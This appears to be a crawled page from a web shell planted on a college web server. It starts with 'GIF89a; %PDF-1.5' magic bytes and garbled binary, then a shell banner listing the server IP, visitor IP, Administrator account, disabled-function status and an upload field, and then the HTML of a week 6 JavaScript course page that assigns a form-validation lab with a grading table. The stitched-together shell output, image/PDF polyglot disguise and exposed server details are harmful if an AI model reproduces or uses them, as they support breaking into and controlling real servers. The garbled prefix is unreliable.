GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/AllenLabs/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Week 6</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <link href="Week%206%20Check%20Form_files/style.css" rel="stylesheet" type="text/css"> </head> <body data-pt-ext-theme="dark" data-pt-ext-size="standard" background="file:///D|/Webs/images/background.gif"> <p class="pagetitle" align="center">MMDT1022 HTML II and Javascript<br> Week 6</p> <hr> <table width="750" cellpadding="4" border="0" bgcolor="#FFFFFF"> <tbody><tr> <td width="100%"> <p><strong>Week 6</strong></p> <p>Read chapter 7 in the book. This chapter is about validating form data. </p> <p>In class we will be finishing together this t-shirt order <a href="http://mmdt1022.ridgewater.net/week5/shirt.htm"><strong>form</strong></a> that we worked on last week and validate some of the data fields to order t-shirts.</p> <p>Pythex - <a href="http://pythex.org/"><b>Python regular expression editor</b></a></p> <p>Regular Expression repository <a href="http://regexlib.com/"><b>RegExLib</b></a> </p> <p>Regular Expression <b><a href="http://www.regular-expressions.info/tutorial.html">tutorial</a></b>.</p> <p><b><a href="http://www.ultrapico.com/Expresso.htm">Expresso</a></b> is a great development tool for regular expressions.</p> </td> </tr> </tbody></table> <br> <table width="750" cellpadding="4" border="0"> <tbody><tr> <td bgcolor="#FFFFFF"> <p><strong>Lab Check Form</strong></p> <p>Create a contact information update form. Here is a <a href="http://mmdt1022.ridgewater.net/week6/contactform.gif">snapshot</a> of the form and the form variable names. Also shown is the form action that is called upon submission. Note: Pay careful attention to the variable name case. Variable names are cAsE sEnSiTiVe.</p> <p><a href="http://mmdt1022.ridgewater.net/week6/checkmarks.zip">Files</a> to help you get started on the lab.</p> <p>This is the finished lab called <a href="http://mmdt1022.ridgewater.net/exercises/checkform/contactinfo.htm">checkform</a>. (Password protected. Only viewable live and in the recording)</p> <p>Add validation to <strong>all</strong> textual form elements. I will be checking the following list <strong>very</strong> carefully.</p> <ul> <li>First Name - Verify first character is a capital letter and that there are 1 to 49 characters (may include spaces and special characters.</li> <li>Last Name - Verify first character is a capital letter and that there are 1 to 49 characters (may include spaces and special characters.</li> <li>Address Line 1 - Verify that there are 1 to 49 characters which may include spaces and special characters.</li> <li>Address Line 2 - Verify that there are 0 to 49 characters which may include spaces and special characters.</li> <li>City - Verify first character is a capital letter and that there are 1 to 49 characters (may include spaces and special characters.</li> <li>State - Verify that it is capitalized two letter state abbreviations as defined by the US Post Office.</li> <li>ZIP - Verify that it is either a 5 digit ZIP code or a 5+4 ZIP code. Both types of ZIP codes should pass.</li> <li>Phone Number - Verify that it is a legal US phone number. Allow muliple entering fomats so that the user could enter (320) 555-1212 or 320-555-1212 or 320.555.1212 or even 3205551212.</li> <li>Email - Verify that it is a legal email address. Remember there are new Top Level Domain (TLD) names that are up to 6 characters long.</li> <li>Year Born - Verify that the year born is from 1900 to 2010 inclusive.</li> <li>Form should <b>not</b> submit if there is an error with one of the fields.</li> </ul> <p>Once built and published, test your form. All input fields will be echoed back if your form is working correctly.</p> <table width="500" cellspacing="0" cellpadding="5" border="1"> <tbody><tr> <td width="85%"><b>Grading Criteria</b></td> <td width="15%" align="right"><b>Points<br> 30</b></td> </tr> <tr> <td width="85%">First Name verified.</td> <td width="15%" align="right">2</td> </tr> <tr> <td width="85%">Last Name verified.</td> <td width="15%" align="right">2</td> </tr> <tr> <td width="85%">Address Line 1 verified.</td> <td width="15%" align="right">2</td> </tr> <tr> <td>Address Line 2 verified.</td> <td align="right">1</td> </tr> <tr> <td>City verified.</td> <td align="right">1</td> </tr> <tr> <td>State verified.</td> <td align="right">4</td> </tr> <tr> <td>ZIP verified.</td> <td align="right">4</td> </tr> <tr> <td>Phone Number verified.</td> <td align="right">4</td> </tr> <tr> <td>Email verified.</td> <td align="right">4</td> </tr> <tr> <td>Year Born verified.</td> <td align="right">4</td> </tr> <tr> <td width="85%">All fields on the form work as shown by submission results page (no nulls).</td> <td width="15%" align="right">2</td> </tr> </tbody></table> <p>Assignment is due one week from when it was assigned. 50% penalty if late.</p></td> </tr> </tbody></table> <hr> <p> </p> <p> </p> <div></div></body></html>